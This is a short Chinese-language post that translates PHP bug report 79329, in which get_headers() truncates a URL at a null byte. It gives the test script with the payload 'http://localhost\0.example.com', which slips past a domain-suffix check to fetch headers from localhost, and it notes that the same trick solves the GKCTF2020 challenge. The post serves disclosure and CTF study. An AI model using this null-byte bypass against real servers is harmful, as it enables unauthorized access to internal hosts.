翻译自:
https://bugs.php.net/bug.php?id=79329
get_headers()会截断URL中空字符后的内容
这是在php7.3中发现的 ,但是一直有这个漏洞
测试脚本显示这会让恶意脚本获取意外域名的header 。这些header可能泄露敏感信息或者意外地包含攻击者控制的数据。
测试脚本
<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";
$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);
预期结果:
Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL
实际结果:
headers from http://localhost
例题:
GKCTF2020-CVE版签到
换成127.0.0.123 就反弹flag了